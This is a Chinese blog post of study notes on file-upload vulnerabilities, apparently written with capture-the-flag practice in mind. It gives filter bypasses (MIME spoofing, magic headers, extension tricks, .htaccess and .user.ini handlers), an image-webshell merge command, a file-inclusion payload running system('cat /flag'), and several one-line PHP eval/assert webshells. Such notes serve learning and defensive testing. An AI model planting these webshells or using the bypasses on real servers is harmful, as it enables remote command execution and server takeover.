发布于2022-08-03 18:12 阅读(1153) 评论(0) 点赞(27) 收藏(4)
注:菜鸡笔记,酌情参考!
在开发时没有对用户上传的文件进行严格的检测,过滤,导致用户可以上传可执行脚本文件(恶意文件),导致可以执行服务端命令
获取服务器的控制权
可以上传相同文件名的文件来覆盖原有文件
容易受到目录遍历的攻击;
拒绝服务 (DoS) 攻击....
最常见的文件上传漏洞的方法是上传网站木马(webshell)文件,WEBSHELL又称网页木马文件,根据开发语言的不同又分为ASP木马、PHP木马、JSP木马等,该类木马利用了脚本语言中的系统命令执行、文件读写等函数的功能,一旦上传到服务器被脚本引擎解析,攻击者就可以实现对服务器的控制。
webshell分为大马,小马(一句话木马)和图片马
功能比较全,但代码量大,相对复杂,不容易隐藏,一般需要加密等手段来进行隐藏
功能简单,代码少,隐蔽性强
网站只允许上传图片(.png .jpg .gif) ,且无法绕过时,可利用图片马
制作图片马:cmd中输入命令:copy 图片.jpg/b+木马.php/a 图片.jpg
目录
主要检测文件后缀,大致分为:
黑名单:不允许上传的文件
白名单:允许上传的文件
前端对上传文件有限制时是可以直接修改代码
- eg: lay-data="{url: 'upload.php', accept: 'images',exts:'png'}
- 改为:lay-data="{url: 'upload.php', accept: 'file'}
在浏览器设置中关闭Javascript
bp抓包修改(比如先上传1.jpg文件,再抓包后改为1.php
MIME类型是描述消息内容类型的因特网标准
主要为Content-Type:
当对文件内容有限制时,可以将Content-Type:application/octet-stream等改为:
Content-Type:image/jpeg
Content-Type:image/png
Content-Type:image/gif
后端会检测上传文件的内容
图片格式检查文件内容是通过检查文件开头的一段二进制,不同的图片类型,文件头是不同的。
绕过方法:
一,在文件前添加文件幻术头,对图片类容进行欺骗
常见文件幻术头:GIF89a
JPG: FF D8 FF EO 00 10 4A 46 49 46.
GIF:47 49 46 3839 61(GIF89a).
PNG:89 50 4E 47
二,利用服务器将木马文件解析成了图片文件,因此向其发送执行该文件的请求时,服务器只会返回这个“图片”文件,并不会执行相应命令。
因此利用文件包含漏洞,可以将图片格式的文件当作PHP文件来解析执行
.php?filename=uploads/1.jpg&pass=system('cat /flag')
.php?filename=uploads/1.jpg&pass=system('cat /flag')
后端对文件的扩展名进行了过滤后,所上传的文件后缀进行筛选
绕过方法:
后缀名大小写
同义后缀名替换
php: php、 phtml、php3、php4、php5 jsp: jap、jspx、jspf asp: asa、cer、aspx ext: exee
双写绕过:php -> phphpp
参考:原文链接:深究用户利用.htaccess的原理篡改配置导致的安全问题_合天网安学院-CSDN博客
.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的''AllowOverride''指令来设置。这里简明扼要的说一下,.htaccess说白了就是apache服务器中的一个配置文件;只不过它负责的是相关目录之下的网页配置;
htaccess文件作用:
网页301重定向
自定义404错误页面
改变文件拓展名
禁止目录列表等等
因此可以利用写入.htacess文件内容:
- <FilesMatch "s1mple"> //使名为s1mple的文件当作php格式解析
- Sethandler application/x-httpd-php
- </Filesmatch >
-
- 或者:
- AddType application/x-httpd-php .jpg //将jpg文件当作php格式解析
参考:文件上传之.htaccess和.user.ini_m0_46587008的博客-CSDN博客
.user.ini.它比.htaccess用的更广,不管是nginx/apache/IIS,只要是以fastcgi运行的php都可以用这个方法。
.user.ini文件作用: 可以改变用户读取文件和包含文件的权限等,它的使用范围更广,但是条件多了一个(比较重要的)对应目录下有可执行文件。接下来我们看如何构造这两种配置文件。
auto_prepend_file=a.jpg //在木马前传入 auto_append_file=a.jpg //在木马后传入
- <?php @eval($_POST["pass"]);?>
-
- <script language='php'>assert($_REQUEST['pass'])</script>
-
- <script language="php">eval($_POST['pass'])</script>
-
- <scriptlanguage="php">eval($_REQUEST['pass'])</script>
原文链接:https://blog.csdn.net/qq_61991235/article/details/122896839
作者:叮叮当当
链接:http://www.phpheidong.com/blog/article/355645/7dafc892120605354cd2/
来源:php黑洞网
任何形式的转载都请注明出处,如有侵权 一经发现 必将追究其法律责任
昵称:
评论内容:(最多支持255个字符)
---无人问津也好,技不如人也罢,你都要试着安静下来,去做自己该做的事,而不是让内心的烦躁、焦虑,坏掉你本来就不多的热情和定力
Copyright © 2018-2021 php黑洞网 All Rights Reserved 版权所有,并保留所有权利。 京ICP备18063182号-4
投诉与举报,广告合作请联系vgs_info@163.com或QQ3083709327
免责声明:网站文章均由用户上传,仅供读者学习交流使用,禁止用做商业用途。若文章涉及色情,反动,侵权等违法信息,请向我们举报,一经核实我们会立即删除!